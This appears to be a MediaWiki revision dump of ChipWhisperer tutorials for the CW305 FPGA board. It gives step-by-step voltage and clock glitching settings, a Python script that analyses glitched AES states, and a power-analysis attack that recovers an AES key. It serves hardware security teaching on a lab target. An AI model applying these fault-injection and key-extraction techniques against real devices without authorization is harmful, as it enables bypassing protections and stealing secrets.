Voltage glitching works quite well against microcontrollers: it's pretty straightforward to use these glitches to target a specific point in an algorithm's execution. However, voltage glitching is not as easy on an FPGA target. FPGAs can perform many operations in parallel: they are not limited to one instruction of arithmetic per clock cycle. This parallel execution makes it very tricky to focus on a specific operation. There are also some serious practical concerns:<br />
* The Artix-7 uses SRAM to store its configuration files (ie: the contents of the bitstream). SRAM is a form of volatile memory, which means that it only stores data until the device is turned off. If we cut off the power to our FPGA for too long, it's possible for some of this configuration data to be lost. We've found that around 1000 bits can be corrupted with a 600 ns glitch, but this will be device- and environment-dependent. If you find that your device isn't working properly, your first thought should be to reprogram the bitstream.<br />
* If we ground the FPGA's power pins, then the power supply will effectively be driving the shunt resistor. With a supply voltage of 1.0 V and a 0.5 ohm shunt, this is a 2 A current; with a 0.1 ohm shunt, this is 10 A. It's probably a good idea to use an external power supply for this type of glitch. <br />
<br />
== Setup ==<br />
=== Hardware Setup ===<br />
To set up the hardware for voltage glitching, only one extra connection is required compared to the setup for power analysis. Connect an SMA cable between the ChipWhisperer's glitch output and the CW305 connector labeled X3:<br />
<br />
[[File:CW305_CWLite_VCCGlitch.jpg|800px]]<br />
<br />
Note that the original SMA cable (connected to the ChipWhisperer's Measure input) is not required for voltage glitching - if you only have one cable, you can just move it over. However, it is helpful to have power traces to see what effects the voltage glitches are having on the power rails, so connect both if you can.<br />
<br />
=== Software Setup ===<br />
As in the previous tutorial, we can use the CW305 example script to get us started. Follow the instructions from [[Tutorial CW305-1 Building a Project]] to connect to the target and load the bitstream onto the FPGA.<br />
<br />
Next, we'll set up the glitch module:<br />
* Make sure the clock source is Target IO-IN<br />
* Set the glitch trigger to Ext Trigger:Single-Shot<br />
* Set the output mode to Glitch Only<br />
* Take a look at the glitch width/offset, the trigger offset, and repeat - feel free to experiment with these throughout the tutorial<br />
<br />
[[File:CW305VCCGlitchModule.PNG]]<br />
<br />
Then, in CW Extra Settings, turn on one or both of the HS-Glitch Out Enable checkboxes. These are used to enable low-power and high-power MOSFETs, respectively; we found that the low-power output is powerful enough for this board, but you might see different effects with the different outputs.<br />
<br />
That should be everything. Hit Capture 1 and make sure you see a glitch. This picture was taken with a glitch width of 20%:<br />
<br />
[[File:CW305VCCTrace.PNG]]<br />
<br />
From here, you can use the Glitch Explorer to sweep the glitch settings and search for a successful glitch, as we did in [[Tutorial CW305-3 Clock Glitching]]. Good luck!<br />
<br />
== Hints ==<br />
We had a lot of trouble creating a successful voltage glitch. If you're stuck, this section has a few ideas that you can try.<br />
<br />
'''Core voltage''': the CW305 board has a programmable power supply with an adjustable output voltage. This voltage level can be modified in the Target Settings tab: the VCC-INT field can be adjusted to any level from 0.6 to 1.1 V.<br />
<br />
[[File:CW305VCCTargetSettings.PNG]]<br />
<br />
You might find that your glitch attacks work better when the target is on the edge of its operating limits. For example, we found that our AES implementation stops working when VCC-INT is below 0.75 V, and it was much easier to produce effective glitching with the voltage at this level.<br />
<br />
'''Clock speed''': The onboard PLL is also programmable to produce a range of clock frequencies. This setting can be accessed from the same tab as the core voltage - the relevant field is the PLL1 Frequency. <br />
<br />
The maximum frequency that the FPGA can use depends on the details of the program's implementation. The internal connections inside the FPGA cause a non-zero amount of delay, and running at very high speeds can cause things to go haywire. Again, you can sweep this setting to find the highest working frequency and try your glitch attacks at the highest working speed to increase your chances of success.<br />
<br />
'''Enable-only glitches''': During our tests, we found that the Glitch Only output was too soft - we couldn't get any useful glitches out of this. As an alternative method, you can try the Enable Only output setting. This effectively causes the glitch signal to have a duty cycle of 100%, so the glitch width and offset have no effect. Then, this pulse can be adjusted with the Ext Trigger Offset and Repeat settings. Be warned that this type of glitch is more likely to corrupt the FPGA configuration with its longer pulses!<br />
<br />
'''High-speed glitches''': There is one extra trick that can help with the Enable Only output mode. Try the following:<br />
* Make sure that the Artix-7 is being driven by its onboard PLL, not the CLKGEN output.<br />
* Under CLKGEN Settings, change the Input Source to <code>extclk</code>. Now, the CLKGEN clock will be a multiple of the EXTCLK clock.<br />
* Adjust the CLKGEN speed with the Multiply and Divide settings. It might be helpful to use the Frequency Counter here to make sure that the CLKGEN frequency is as fast as you think it is.<br />
* Set up the ADC to use EXTCLK (x1 or x4) as its source - CLKGEN will probably be too fast for the ADC.<br />
* Set the glitch module's clock source to CLKGEN.<br />
Now, you can run the glitch module as fast as you want! This allows for better resolution while working with Enable Only mode: one extra "clock cycle" of glitch output is a much shorter period of time. Make sure that all of the clocks are locked when you're working with this setup, as it's very easy for them to become unlocked.<br />
<br />
For reference, we successfully glitched the AES implementation with the following setup:<br />
* CLKGEN running from EXTCLK with Multiply = 8 and Divide = 2<br />
* Glitch module running from CLKGEN with Repeat = 9 and Offset = 0<br />
* Target running at VCC-INT = 0.75 V and PLL1 = 50 MHz<br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_CW305-3_Clock_Glitching&diff=3506Tutorial CW305-3 Clock Glitching2018-05-01T18:52:46Z<p>Fheubach: </p>
<hr />
<div>The goal of this tutorial is to apply clock glitching to the CW305 Artix target, causing it to produce erroneous results during the encryption process. This isn't the most interesting software to glitch - in [[Tutorial A2 Introduction to Glitch Attacks (including Glitch Explorer)]], we glitched past a password check, which is a much more rewarding target. However, the setup and process in this tutorial is applicable to a wide range of FPGA programs.<br />
<br />
== Background ==<br />
In the previous tutorials, we said that our FPGA implementation of AES executes each round of the algorithm in a single clock cycle. This probably means that there's one 128-bit port used to store the internal state. On each clock cycle, this state is fed through a couple of different blocks (<code>SubBytes()</code>, <code>ShiftRows()</code>, <code>MixColumns()</code>, and <code>AddRoundKey()</code>), and the output is stored back into the state port. <br />
<br />
Our goal in this tutorial is to cause the AES execution to fail by applying clock glitches. If we trigger a short clock glitch right next to a clock edge, we might be able to corrupt some of the bits of the state array. If we can manage this, the output ciphertext will be totally different! Remember that one of the primary goals of cryptographic algorithms is diffusion: if we change a single bit of the input, the round function will cause that one bit to affect all 128 bits of the output. <br />
<br />
In this tutorial, we'll say that a successful glitch is any glitch that causes the ciphertext to change. However, at the end of the tutorial, we'll look a bit deeper into the exact position and magnitude of these glitches to see exactly how our glitches are changing the output.<br />
<br />
== Glitch Setup ==<br />
=== Hardware/Software Setup ===<br />
The hardware setup for this tutorial is largely the same as [[Tutorial CW305-1 Building a Project]]. Start the hardware setup by following those steps (connect the boards, run the example script, and upload the bitstream). Then, we need to make a few changes to our setup.<br />
<br />
In the previous examples, we wanted to clock our Artix-7 from the target board's PLL. Now, we want to inject glitches into this clock, so we want to use the clock generated by our capture hardware. To do this, we need to change switch '''J16''' to '''1'''. This switch will force the FPGA to use the ChipWhisperer's input clock instead of the PLL. You can also switch '''K16''' to '''0''' to disable the return clock being outputted, although this isn't required. S2 should now look like this:<br />
<br />
[[File:CW305_ClockGlitchSetting.jpg|300px]]<br />
<br />
Next, we need to generate our own clock signal. Set up the ChipWhisperer's CLKGEN output to run at 10 MHz, and use CLKGEN x4 as the ADC clock source:<br />
<br />
[[File:CW305Clkgen.PNG]]<br />
<br />
Then, set up the glitch module to use CLKGEN as the input clock and set the glitch trigger to external single-shot. We'll be playing with the rest of the settings later.<br />
<br />
[[File:CW305GlitchModule.PNG]]<br />
<br />
Finally, under CW Extra Settings, change the Target HS IO-Out to use the Glitch Module output. Capture a trace and make sure you can see a glitch in the power. For example, here is a trace with a visible glitch from samples 30 to 35. (You might need to change the glitch width and offset - this screenshot was captured using 30% and 10%.)<br />
<br />
[[File:CW305GlitchExample.PNG]]<br />
<br />
=== Glitch Explorer ===<br />
Once we've gotten clock glitches working, the objective is to find a set of glitch parameters that cause the encryption process to fail. We can do this automatically using the glitch explorer, so let's set this up to search for glitches.<br />
<br />
The first thing we need to do is get our FPGA to use a fixed plaintext and key. If we change the inputs on every capture, it'll be more difficult to tell when a glitch was successful. The rest of this tutorial will use the fixed key <code>2B 7E 15 16 28 AE D2 A6 AB F7 15 88 09 CF 4F 3C</code> and the fixed plaintext <code>5C 69 2F 91 03 B2 30 29 14 D7 E5 55 E4 DC EE 49</code>, but you can use any key and plaintext.<br />
<br />
Using our fixed key and plaintext, we can set up the glitch explorer to detect when we've successfully glitched the FPGA. Open the glitch explorer, then click Capture 1 to see the format of the output. With the plaintext and key mentioned above, the received output is <code>'06f36a65e8a99ff8907b2e5e5ddd77de'</code>. Set the glitch explorer's normal/successful responses to check for this string. Then, set up two tuning parameters to sweep the glitch module's width and offset. When everything is set up, your glitch explorer should look like:<br />
<br />
[[File:CW305GlitchExplorer.PNG]]<br />
<br />
Once everything is ready, click <code>Use this value</code> and start capturing.<br />
<br />
== Results ==<br />
When your capture is finished, there are two places to check the results. First, the glitch map shows us which glitch widths and offsets caused successful glitches. The green points on this map indicate combinations of tuning parameters that caused the encryption to fail. With some luck, your glitch map should look something like ours:<br />
<br />
[[File:CW305GlitchMap.PNG|600px]]<br />
<br />
This map doesn't tell us what the actual ciphertext was with each of these settings, but it does give us a clue about where to look in the glitch explorer. The other thing that we can check is the glitch explorer output: looking at the glitched ciphertexts shows a wide variety of different outputs with different glitch settings.<br />
<br />
[[File:CW305GlitchOutput.PNG]]<br />
<br />
That's it - if your goal was to set up clock glitching the CW305, you're done. The last section of this tutorial will be a deeper analysis of this AES setup to check if we can determine exactly what effect our glitches had.<br />
<br />
== Further Analysis ==<br />
Earlier, we said that our clock glitches would corrupt some bits of the internal state inside the FPGA's AES module. It's actually possible to use our glitched ciphertext to check if this is happening! Here's a rough outline of the steps required to do this:<br />
* Modify an AES implementation to save the values in the state array after every round (instead of only returning the output from the last round)<br />
* Encrypt the fixed plaintext using the fixed key to get the expected intermediate state values<br />
* Decrypt the glitched ciphertext using the fixed key to get the actual intermediate state values<br />
* Compare the two sets of states to check if they were ever close to each other (for example, by looking for small Hamming distances)<br />
A Python script to do this is shown in [[#Appendix A: Analysis Code]]. <br />
<br />
For example, three of the glitched ciphertexts were <code>9b1202b925e0cb4967c486a69ede3133</code>, <code>cd9543adaa5bcbc558e7d4944b5230f7</code>, and <code>40581e3c073aaace9b9785fc258bac41</code>. The Hamming distance between the expected and actual states are shown in blue, green, and red, respectively:<br />
<br />
[[File:CW305HammingDistance.png|600px]]<br />
<br />
The first two curves show a significant dip at round 6, suggesting that the glitch caused 30 to 40 bits of the state to be corrupted after the 6th round. Then, these bits were immediately diffused into the rest of the state in the next round, causing the output to look totally random (because a Hamming distance of 64 indicates a 50% match rate). However, the final curve doesn't show this dip. It's possible that this glitch caused a different kind of error - perhaps the key schedule was corrupted instead. <br />
<br />
== Appendix A: Analysis Code ==<br />
<div class="toccolours mw-collapsible mw-collapsed"><br />
<code>aes-int.py</code><br />
<div class="mw-collapsible-content"><br />
<syntaxhighlight lang="python"><br />
'''<br />
aes-int.py<br />
An AES-128 analysis script for using with NewAE Tutorial Cw305-3<br />
<br />
Author: Greg d'Eon<br />
Date: Jan 17, 2017<br />
'''<br />
<br />
from Crypto.Cipher import AES<br />
import binascii<br />
import matplotlib.pyplot as plt<br />
<br />
# --------------------------------------------------------------- Lookup tables<br />
s_box = [<br />
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,<br />
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,<br />
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,<br />
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,<br />
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,<br />
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,<br />
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,<br />
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,<br />
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,<br />
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,<br />
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,<br />
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,<br />
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,<br />
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,<br />
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,<br />
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16<br />
]<br />
<br />
s_box_inv = [<br />
0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,<br />
0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,<br />
0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,<br />
0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,<br />
0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,<br />
0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,<br />
0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,<br />
0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,<br />
0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,<br />
0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,<br />
0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,<br />
0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,<br />
0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,<br />
0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,<br />
0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,<br />
0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D<br />
]<br />
<br />
r_con = [<br />
0x00000000, # Unused<br />
0x01000000, # i = 1<br />
0x02000000,<br />
0x04000000,<br />
0x08000000,<br />
0x10000000,<br />
0x20000000,<br />
0x40000000,<br />
0x80000000,<br />
0x1b000000,<br />
0x36000000 # i = 10<br />
]<br />
<br />
<br />
# ------------------------------------------------------ Parameters for AES-128<br />
Nb = 4<br />
Nk = 4<br />
Nr = 10<br />
<br />
# --------------------------------------------------------------- Key expansion<br />
#Apply the s-box to each of the 4 bytes in a word<br />
def sub_word(input): <br />
output = 0<br />
for i in range(4):<br />
input_byte = input & 0xFF<br />
output_byte = s_box[input_byte]<br />
output = output + (output_byte << (8 * i))<br />
input = input >> 8<br />
return output<br />
<br />
#Rotate a word, making a cyclic permutation<br />
def rot_word(input): <br />
return ((input << 8) + (input >> 24)) % (1 << 32)<br />
<br />
# Perform key expansion on the provided key using the value of Nk (above)<br />
def expand_key(key):<br />
# Split key into bytes<br />
k = [key[i] for i in range(16)]<br />
<br />
# Expand key, as per FIPS 197 section 5.2<br />
w = [0 for i in range(Nb * (Nr+1))]<br />
for i in range(Nk):<br />
w[i] = ((k[4*i] << 24)<br />
+ (k[4*i + 1] << 16)<br />
+ (k[4*i + 2] << 8)<br />
+ (k[4*i + 3] << 0))<br />
<br />
for i in range(Nk, Nb*(Nr+1)):<br />
temp = w[i-1]<br />
if (i % Nk == 0):<br />
temp = sub_word(rot_word(temp)) ^ r_con[i/Nk]<br />
w[i] = w[i-Nk] ^ temp<br />
<br />
return w<br />
<br />
<br />
# -------------------------------------------------------------- Cipher methods<br />
# Find the polynomial x * b mod m, as defined in FIPS 197 section 4.2.1<br />
def xtime(b): <br />
b = (b << 1)<br />
if (b & (1 << 8)):<br />
b = b ^ 0x1B<br />
return b & 0xFF<br />
<br />
# XOR each column of the state with the round key<br />
def add_round_key(state, round_key):<br />
for x in range(4):<br />
w_in = ((state[0][x] << 24)<br />
+ (state[1][x] << 16)<br />
+ (state[2][x] << 8)<br />
+ (state[3][x] << 0))<br />
w_out = w_in ^ round_key[x]<br />
for y in range(4):<br />
state[y][x] = (w_out >> (24 - 8*y)) & 0xFF<br />
<br />
return state<br />
<br />
# Use the AES s-box on each byte of the current state.<br />
def sub_bytes(state):<br />
state = [[s_box[s_xy] for s_xy in s_y] for s_y in state]<br />
return state<br />
<br />
# Cyclically shift each row of the state matrix <br />
def shift_rows(state):<br />
output = [[0 for x in range(4)] for y in range(4)]<br />
for y in range(4):<br />
for x in range(4):<br />
output[y][x] = state[y][(x+y) % 4]<br />
<br />
return output<br />
<br />
# Mix each column of the state matrix <br />
def mix_columns(state):<br />
output = [[0 for x in range(4)] for y in range(4)]<br />
for x in range(4):<br />
for y in range(4):<br />
output[y][x] = (xtime(state[y][x])<br />
^ xtime(state[(y+1)%4][x])<br />
^ state[(y+1)%4][x]<br />
^ state[(y+2)%4][x]<br />
^ state[(y+3)%4][x])<br />
return output<br />
<br />
# Convert the 4x4 state matrix into a single bytearray<br />
def stateToBytearray(arr):<br />
ret = [arr[y][x] for x in range(4) for y in range(4)]<br />
return bytearray(ret)<br />
<br />
# Convert a bytearray into a 4x4 state matrix<br />
def bytearrayToState(input):<br />
arr = [[0 for x in range(4)] for y in range(4)]<br />
for x in range(4):<br />
for y in range(4):<br />
i = y + 4*x<br />
print input[i]<br />
arr[y][x] = int(input[i])<br />
return arr<br />
<br />
# Perform the AES-128 cipher routine<br />
def cipher(input, w):<br />
# Build an array of the states<br />
ret = []<br />
<br />
# Split input into bytes<br />
state = bytearrayToState(input)<br />
ret.append(stateToBytearray(state))<br />
<br />
# Cipher<br />
state = add_round_key(state, w[0:Nb])<br />
for round in range(1, Nr):<br />
state = sub_bytes(state)<br />
state = shift_rows(state)<br />
state = mix_columns(state) <br />
state = add_round_key(state, w[round*Nb:(round+1)*Nb])<br />
ret.append(stateToBytearray(state))<br />
<br />
state = sub_bytes(state)<br />
state = shift_rows(state)<br />
state = add_round_key(state, w[Nr*Nb:(Nr+1)*Nb])<br />
ret.append(stateToBytearray(state))<br />
<br />
return ret<br />
<br />
# Encrypt a 128 bit input with a 128 bit key.<br />
def encrypt(input, key):<br />
w = expand_key(key)<br />
return cipher(input, w)<br />
<br />
<br />
def main():<br />
test_values = [<br />
('5C692F9103B2302914D7E555E4DCEE49', # Plaintext<br />
'2b7e151628aed2a6abf7158809cf4f3c', # Key<br />
'9b1202b925e0cb4967c486a69ede3133'), # Glitched ciphertext<br />
('5C692F9103B2302914D7E555E4DCEE49', <br />
'2b7e151628aed2a6abf7158809cf4f3c',<br />
'cd9543adaa5bcbc558e7d4944b5230f7'),<br />
('5C692F9103B2302914D7E555E4DCEE49', <br />
'2b7e151628aed2a6abf7158809cf4f3c',<br />
'40581e3c073aaace9b9785fc258bac41'),<br />
<br />
]<br />
<br />
for test in test_values:<br />
# Encrypt the plaintext to get the expected states<br />
pt = bytearray.fromhex(test[0])<br />
k = bytearray.fromhex(test[1])<br />
state = encrypt(pt, k)<br />
<br />
# Decrypt the glitched ciphertext<br />
ct = bytearray.fromhex(test[2])<br />
obj = AES.new(str(k), AES.MODE_ECB)<br />
pt2 = obj.decrypt(str(ct))<br />
<br />
# Re-encrypt the glitched plaintext to get the actual states<br />
pt2 = bytearray.fromhex(binascii.hexlify(pt2))<br />
state2 = encrypt(pt2, k)<br />
<br />
print "States: "<br />
for i in range(Nr+1):<br />
print i<br />
print binascii.hexlify(state[i])<br />
print binascii.hexlify(state2[i])<br />
<br />
# Calculate the differences<br />
hd = []<br />
for i in range(Nr+1):<br />
hd_i = sum([bin(s1 ^ s2).count("1") for (s1, s2) in zip(state[i], state2[i])])<br />
hd.append(hd_i)<br />
<br />
print hd<br />
plt.plot(hd)<br />
plt.grid()<br />
plt.show()<br />
<br />
if __name__ == "__main__":<br />
main()<br />
</syntaxhighlight><br />
</div><br />
</div><br />
&nbsp;<br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_CW305-2_Breaking_AES_on_FPGA&diff=3505Tutorial CW305-2 Breaking AES on FPGA2018-05-01T18:52:29Z<p>Fheubach: </p>
<hr />
<div>This tutorial is a continuation from [[Tutorial CW305-1 Building a Project]]. Here, we'll use our hardware setup to find a fixed secret key that the Artix FPGA is using for AES encryption. This tutorial relies on previous knowledge from [[Tutorial B5 Breaking AES (Straightforward)]], so make sure you know how that attack works.<br />
<br />
== Theoretical Background ==<br />
During this tutorial, we'll be working with a hardware AES implementation. This type of attack can be much more difficult than a software AES attack. In the software AES attacks, we needed hundreds or thousands of clock cycles to capture the algorithm's full execution. In contrast, a hardware AES implementation may have a variety of speeds. Depending on the performance of the hardware, a whole spectrum of execution speeds can be achieved by executing many operations in a single clock cycle. It is theoretically possible to execute the entire AES encryption in a single cycle, given enough hardware space and provided that the clock is not too fast. Most hardware accelerators are designed to complete one round or one large part of a round in a single cycle. <br />
<br />
This fast execution may cause problems with a regular CPA attack. In software, we found that it was easy to search for the outputs of the s-boxes because these values would need to be loaded from memory onto a high-capacitance data bus. This is not necessarily true on an FPGA, where the output of the s-boxes may be directly fed into the next stage of the algorithm. In general, we may need some more knowledge of the hardware implementation to successfully complete an attack.<br />
<br />
In our case, let's suppose that every round of AES is completed in a single clock cycle. Recall the execution of AES:<br />
<br />
[[File:AES_Encryption.png|300px]]<br />
<br />
Here, every blue block is executed in one clock cycle. This means that an excellent candidate for a CPA attack is the difference between the input and output of the final round. It is likely that this state is stored in a port that is updated every round, so we expect that the Hamming distance between the round input and output is the most important factor on the power consumption. Also, the last round is the easiest to attack because it has no MixColumns operation. We'll use this Hamming distance as the target in our CPA attack.<br />
<br />
== Capture Setup ==<br />
The hardware and software setup was completed in the previous tutorial. If you haven't completed it, finish [[Tutorial CW305-1 Building a Project]] first. If you don't want to build the entire project, use the second section of that tutorial to see how to connect to the board using the default bitstream.<br />
<br />
Most of the capture settings are similar to the standard ChipWhisperer scope settings. However, there are a couple of interesting points:<br />
<br />
* We're only capturing 250 samples, and the encryption appears to be finished in less than 60 samples with an x4 ADC clock. This makes sense - as we mentioned above, our AES implementation is probably computing each round in a single clock cycle.<br />
* We're using EXTCLK x4 for our ADC clock. This means that the FPGA is outputting a clock signal, and we aren't driving it. <br />
<br />
Other than these, the last interesting setting is the number of traces. By default, the capture software is ready to capture 5000 traces - many more than were required for software AES! It is difficult for us to measure the small power spikes from the Hamming distance on the last round: these signals are dwarfed by noise and the other operations on the chip. To deal with this small signal level, we need to capture many more traces.<br />
<br />
Once you're ready, save your project and click Capture Many to record 5000 traces.<br />
<br />
== Analysis ==<br />
Once we have our data, the analysis is pretty straightforward: a standard CPA attack is easy to do in the ChipWhisperer Analyzer. To set this up, open the Analyzer and load the captured data. Then, only one setting needs to be changed. In the Attack tab, change the Hardware Model to "HD: AES Last-Round State":<br />
<br />
[[File:CW305Attack.PNG]]<br />
<br />
Once this is done, start the attack. The analysis will take some time - 5000 traces is quite a bit of data to crunch. However, we should be rewarded with the secret key:<br />
<br />
[[File:CW305Results.PNG]]<br />
<br />
Notice how small the correlations are in this data! In the standard XMEGA software AES attack, we saw correlations on the order of 98%; this FPGA attack gave us closer to 10%. Make sure to take a good look at the other output (correlation vs. traces, PGE vs traces, etc) to get a good idea of how much work is required for a successful attack on the Artix target.<br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_CW305-1_Building_a_Project&diff=3504Tutorial CW305-1 Building a Project2018-05-01T18:52:15Z<p>Fheubach: </p>
<hr />
<div>The CW305 target is an FPGA target board for use with the ChipWhisperer capture hardware. This board lets you test side channel analysis techniques on an Artix-7 FPGA. With this setup, a different toolchain is required: we won't be building C firmware with a makefile. This tutorial walks through the various steps required to run an AES-128 example on the CW305 target.<br />
<br />
== CW305 Hardware ==<br />
If you're used to working with the ChipWhisperer Lite XMEGA or the UFO targets, the CW305 board will feel a bit different. Rather than sending data through a UART directly from the capture hardware, we'll now use two separate connections to the target board.<br />
<br />
To get started, we need to make three connections to the CW305 target:<br />
<br />
# We'll control the Artix-7 directly from the laptop via USB. This is done through the USB-B port on the left side of the board. (On the target, the Atmel SAM3U chip converts these USB packets into signals that the FPGA can understand.)<br />
# We'll get control information for our power measurements through the 20-pin connector at the bottom of the board. This needs to be connected to your capture hardware (a ChipWhisperer Lite or Pro).<br />
# Our power measurements will be done through an SMA cable. Depending on your capture setup, there are three SMA connectors that allow access to the power line in three ways (before the shunt resistor, after the shunt, and after a low noise amplifier). For the ChipWhisperer hardware, we'll connect the third one to our capture board. This provides a nice amplified signal we can pick off.<br />
<br />
Using a ChipWhisperer Lite, the full hardware setup looks like:<br />
<br />
[[File:CW305_CWLite_SCA.jpg|800px]]<br />
<br />
== Target Firmware ==<br />
In the ChipWhisperer examples, the Artix-7 FPGA is programmed using Verilog. This section describes how to open and build one of these projects. It also describes the layout of the AES-128 example, which is a good starting point for making new FPGA projects.<br />
<br />
Note if you just want to follow along with the rest of the tutorials, you can use the pre-built bitstream (<code>.bit</code> file). In which case simply skip ahead to any of the following tutorials.<br />
<br />
=== Opening the Project ===<br />
The first thing we'll need is [https://www.xilinx.com/support/download.html Xilinx Vivado HLx], which is their FGPA design software. The fully featured versions of this software require a $3000+ license. However, the WEBPACK version is free, with the limitation that it can only be used with 4 families of devices (including the Artix-7). This is a huge download, so get it started while you read (possibly also you'll have time for lunch and a few drinks).<br />
<br />
For this tutorial, a pre-existing AES-128 encryption example is waiting for us deep inside the ChipWhisperer repository. You can find this at <code>chipwhisperer\hardware\victims\cw305_artixtarget\fpga\vivado_examples\aes128_verilog</code>. There are a couple of files and directories here:<br />
<br />
* <code>aes128_verilog.xpr</code> is the project file. You can open this project using Vivado.<br />
* <code>aes128_verilog.srcs\</code> contains Verilog source files for the project. Note that most of the code for this project is stored elsewhere - take a look at <code>cw305_artixtarget\fpga\common\</code> and <code>cw305_artixtarget\fpga\cryptosrc\</code> too.<br />
* <code>aes128_verilog.runs\</code> contains the compiled output that is synthesized in Vivado. The most important part of this output is the bitstream (a .bit file), which is what we'll upload onto the target board.<br />
<br />
When you open the project file, you should be greeted with a screen like:<br />
<br />
[[File:CW305Vivado.PNG|800px]]<br />
<br />
This is enough for us to start poking around in the code.<br />
<br />
=== FPGA Code Layout ===<br />
If you're planning on making your own projects for side channel analysis, it's helpful to understand how the sample project is set up. Here's a high-level description of the different pieces:<br />
<br />
* <code>cw305_main.xdc</code>: The constraints file has a list of pins on the Artix-7 package. It describes how these physical pins are connected to the internal structures on the FPGA.<br />
